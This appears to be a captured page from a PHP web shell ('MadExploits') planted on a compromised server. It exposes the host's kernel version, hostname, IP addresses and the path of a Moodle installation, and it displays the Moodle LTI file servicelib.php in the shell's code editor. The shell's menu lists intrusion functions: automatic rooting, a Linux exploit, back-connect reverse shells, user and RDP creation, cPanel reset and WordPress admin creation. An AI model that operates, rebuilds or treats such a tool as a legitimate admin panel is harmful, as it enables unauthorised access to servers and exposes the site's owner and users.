Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.131.102
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
lti /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
service
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
OAuth.php
29.4
KB
-rw-r--r--
OAuthBody.php
5.41
KB
-rw-r--r--
TrivialStore.php
4.87
KB
-rw-r--r--
ajax.php
3.18
KB
-rw-r--r--
auth.php
5.9
KB
-rw-r--r--
certs.php
1.16
KB
-rw-r--r--
contentitem.php
2.43
KB
-rw-r--r--
contentitem_return.php
3.75
KB
-rw-r--r--
edit_form.php
18.63
KB
-rw-r--r--
externalregistrationreturn.php
2.31
KB
-rw-r--r--
index.php
4.46
KB
-rw-r--r--
instructor_edit_tool_type.php
3.89
KB
-rw-r--r--
launch.php
3.53
KB
-rw-r--r--
lib.php
26.92
KB
-rw-rw-r--
locallib.php
154.06
KB
-rw-rw-r--
mod_form.js
23.42
KB
-rw-r--r--
mod_form.php
18.59
KB
-rw-r--r--
openid-configuration.php
2.66
KB
-rw-r--r--
openid-registration.php
3.46
KB
-rw-r--r--
register.php
4.39
KB
-rw-r--r--
register_form.php
4.33
KB
-rw-r--r--
registersettings.php
3.09
KB
-rw-rw-r--
registration.php
1.4
KB
-rw-r--r--
registrationreturn.php
3.47
KB
-rw-r--r--
request_tool.php
2.57
KB
-rw-r--r--
return.php
4.71
KB
-rw-r--r--
service.php
7.48
KB
-rw-r--r--
servicelib.php
9.89
KB
-rw-r--r--
services.php
3.01
KB
-rw-r--r--
settings.php
8.03
KB
-rw-r--r--
startltiadvregistration.php
2.95
KB
-rw-r--r--
styles.css
7.9
KB
-rw-r--r--
token.php
3.42
KB
-rw-r--r--
toolconfigure.php
2.09
KB
-rw-r--r--
toolproxies.php
6.4
KB
-rw-r--r--
toolssettings.php
3.83
KB
-rw-r--r--
typessettings.php
5.61
KB
-rw-rw-r--
upgrade.txt
3.69
KB
-rw-r--r--
upgradelib.php
2.08
KB
-rw-r--r--
version.php
2.58
KB
-rw-rw-r--
view.php
8.56
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : servicelib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Utility code for LTI service handling. * * @package mod_lti * @copyright Copyright (c) 2011 Moodlerooms Inc. (http://www.moodlerooms.com) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @author Chris Scribner */ defined('MOODLE_INTERNAL') || die; require_once($CFG->dirroot.'/mod/lti/OAuthBody.php'); require_once($CFG->dirroot.'/mod/lti/locallib.php'); // TODO: Switch to core oauthlib once implemented - MDL-30149. use moodle\mod\lti as lti; define('LTI_ITEM_TYPE', 'mod'); define('LTI_ITEM_MODULE', 'lti'); define('LTI_SOURCE', 'mod/lti'); function lti_get_response_xml($codemajor, $description, $messageref, $messagetype) { $xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><imsx_POXEnvelopeResponse />'); $xml->addAttribute('xmlns', 'http://www.imsglobal.org/services/ltiv1p1/xsd/imsoms_v1p0'); $headerinfo = $xml->addChild('imsx_POXHeader')->addChild('imsx_POXResponseHeaderInfo'); $headerinfo->addChild('imsx_version', 'V1.0'); $headerinfo->addChild('imsx_messageIdentifier', (string)mt_rand()); $statusinfo = $headerinfo->addChild('imsx_statusInfo'); $statusinfo->addchild('imsx_codeMajor', $codemajor); $statusinfo->addChild('imsx_severity', 'status'); $statusinfo->addChild('imsx_description', $description); $statusinfo->addChild('imsx_messageRefIdentifier', $messageref); $incomingtype = str_replace('Response', 'Request', $messagetype); $statusinfo->addChild('imsx_operationRefIdentifier', $incomingtype); $xml->addChild('imsx_POXBody')->addChild($messagetype); return $xml; } function lti_parse_message_id($xml) { if (empty($xml->imsx_POXHeader)) { return ''; } $node = $xml->imsx_POXHeader->imsx_POXRequestHeaderInfo->imsx_messageIdentifier; $messageid = (string)$node; return $messageid; } function lti_parse_grade_replace_message($xml) { $node = $xml->imsx_POXBody->replaceResultRequest->resultRecord->sourcedGUID->sourcedId; $resultjson = json_decode((string)$node); if ( is_null($resultjson) ) { throw new Exception('Invalid sourcedId in result message'); } $node = $xml->imsx_POXBody->replaceResultRequest->resultRecord->result->resultScore->textString; $score = (string) $node; if ( ! is_numeric($score) ) { throw new Exception('Score must be numeric'); } $grade = floatval($score); if ( $grade < 0.0 || $grade > 1.0 ) { throw new Exception('Score not between 0.0 and 1.0'); } $parsed = new stdClass(); $parsed->gradeval = $grade; $parsed->instanceid = $resultjson->data->instanceid; $parsed->userid = $resultjson->data->userid; $parsed->launchid = $resultjson->data->launchid; $parsed->typeid = $resultjson->data->typeid; $parsed->sourcedidhash = $resultjson->hash; $parsed->messageid = lti_parse_message_id($xml); return $parsed; } function lti_parse_grade_read_message($xml) { $node = $xml->imsx_POXBody->readResultRequest->resultRecord->sourcedGUID->sourcedId; $resultjson = json_decode((string)$node); if ( is_null($resultjson) ) { throw new Exception('Invalid sourcedId in result message'); } $parsed = new stdClass(); $parsed->instanceid = $resultjson->data->instanceid; $parsed->userid = $resultjson->data->userid; $parsed->launchid = $resultjson->data->launchid; $parsed->typeid = $resultjson->data->typeid; $parsed->sourcedidhash = $resultjson->hash; $parsed->messageid = lti_parse_message_id($xml); return $parsed; } function lti_parse_grade_delete_message($xml) { $node = $xml->imsx_POXBody->deleteResultRequest->resultRecord->sourcedGUID->sourcedId; $resultjson = json_decode((string)$node); if ( is_null($resultjson) ) { throw new Exception('Invalid sourcedId in result message'); } $parsed = new stdClass(); $parsed->instanceid = $resultjson->data->instanceid; $parsed->userid = $resultjson->data->userid; $parsed->launchid = $resultjson->data->launchid; $parsed->typeid = $resultjson->data->typeid; $parsed->sourcedidhash = $resultjson->hash; $parsed->messageid = lti_parse_message_id($xml); return $parsed; } function lti_accepts_grades($ltiinstance) { global $DB; $acceptsgrades = true; $ltitype = $DB->get_record('lti_types', array('id' => $ltiinstance->typeid)); if (empty($ltitype->toolproxyid)) { $typeconfig = lti_get_config($ltiinstance); $typeacceptgrades = isset($typeconfig['acceptgrades']) ? $typeconfig['acceptgrades'] : LTI_SETTING_DELEGATE; if (!($typeacceptgrades == LTI_SETTING_ALWAYS || ($typeacceptgrades == LTI_SETTING_DELEGATE && $ltiinstance->instructorchoiceacceptgrades == LTI_SETTING_ALWAYS))) { $acceptsgrades = false; } } else { $enabledcapabilities = explode("\n", $ltitype->enabledcapability); $acceptsgrades = in_array('Result.autocreate', $enabledcapabilities) || in_array('BasicOutcome.url', $enabledcapabilities); } return $acceptsgrades; } /** * Set the passed user ID to the session user. * * @param int $userid */ function lti_set_session_user($userid) { global $DB; if ($user = $DB->get_record('user', array('id' => $userid))) { \core\session\manager::set_user($user); } } function lti_update_grade($ltiinstance, $userid, $launchid, $gradeval) { global $CFG, $DB; require_once($CFG->libdir . '/gradelib.php'); $params = array(); $params['itemname'] = $ltiinstance->name; $gradeval = $gradeval * floatval($ltiinstance->grade); $grade = new stdClass(); $grade->userid = $userid; $grade->rawgrade = $gradeval; $status = grade_update(LTI_SOURCE, $ltiinstance->course, LTI_ITEM_TYPE, LTI_ITEM_MODULE, $ltiinstance->id, 0, $grade, $params); $record = $DB->get_record('lti_submission', array('ltiid' => $ltiinstance->id, 'userid' => $userid, 'launchid' => $launchid), 'id'); if ($record) { $id = $record->id; } else { $id = null; } if (!empty($id)) { $DB->update_record('lti_submission', array( 'id' => $id, 'dateupdated' => time(), 'gradepercent' => $gradeval, 'state' => 2 )); } else { $DB->insert_record('lti_submission', array( 'ltiid' => $ltiinstance->id, 'userid' => $userid, 'datesubmitted' => time(), 'dateupdated' => time(), 'gradepercent' => $gradeval, 'originalgrade' => $gradeval, 'launchid' => $launchid, 'state' => 1 )); } return $status == GRADE_UPDATE_OK; } function lti_read_grade($ltiinstance, $userid) { global $CFG; require_once($CFG->libdir . '/gradelib.php'); $grades = grade_get_grades($ltiinstance->course, LTI_ITEM_TYPE, LTI_ITEM_MODULE, $ltiinstance->id, $userid); $ltigrade = floatval($ltiinstance->grade); if (!empty($ltigrade) && isset($grades) && isset($grades->items[0]) && is_array($grades->items[0]->grades)) { foreach ($grades->items[0]->grades as $agrade) { $grade = $agrade->grade; if (isset($grade)) { return $grade / $ltigrade; } } } } function lti_delete_grade($ltiinstance, $userid) { global $CFG; require_once($CFG->libdir . '/gradelib.php'); $grade = new stdClass(); $grade->userid = $userid; $grade->rawgrade = null; $status = grade_update(LTI_SOURCE, $ltiinstance->course, LTI_ITEM_TYPE, LTI_ITEM_MODULE, $ltiinstance->id, 0, $grade); return $status == GRADE_UPDATE_OK; } function lti_verify_message($key, $sharedsecrets, $body, $headers = null) { foreach ($sharedsecrets as $secret) { $signaturefailed = false; try { // TODO: Switch to core oauthlib once implemented - MDL-30149. lti\handle_oauth_body_post($key, $secret, $body, $headers); } catch (Exception $e) { debugging('LTI message verification failed: '.$e->getMessage()); $signaturefailed = true; } if (!$signaturefailed) { return $secret; // Return the secret used to sign the message). } } return false; } /** * Validate source ID from external request * * @param object $ltiinstance * @param object $parsed * @throws Exception */ function lti_verify_sourcedid($ltiinstance, $parsed) { $sourceid = lti_build_sourcedid($parsed->instanceid, $parsed->userid, $ltiinstance->servicesalt, $parsed->typeid, $parsed->launchid); if ($sourceid->hash != $parsed->sourcedidhash) { throw new Exception('SourcedId hash not valid'); } } /** * Extend the LTI services through the ltisource plugins * * @param stdClass $data LTI request data * @return bool * @throws coding_exception */ function lti_extend_lti_services($data) { $plugins = get_plugin_list_with_function('ltisource', $data->messagetype); if (!empty($plugins)) { // There can only be one. if (count($plugins) > 1) { throw new coding_exception('More than one ltisource plugin handler found'); } $data->xml = new SimpleXMLElement($data->body); $callback = current($plugins); call_user_func($callback, $data); return true; } return false; }
Close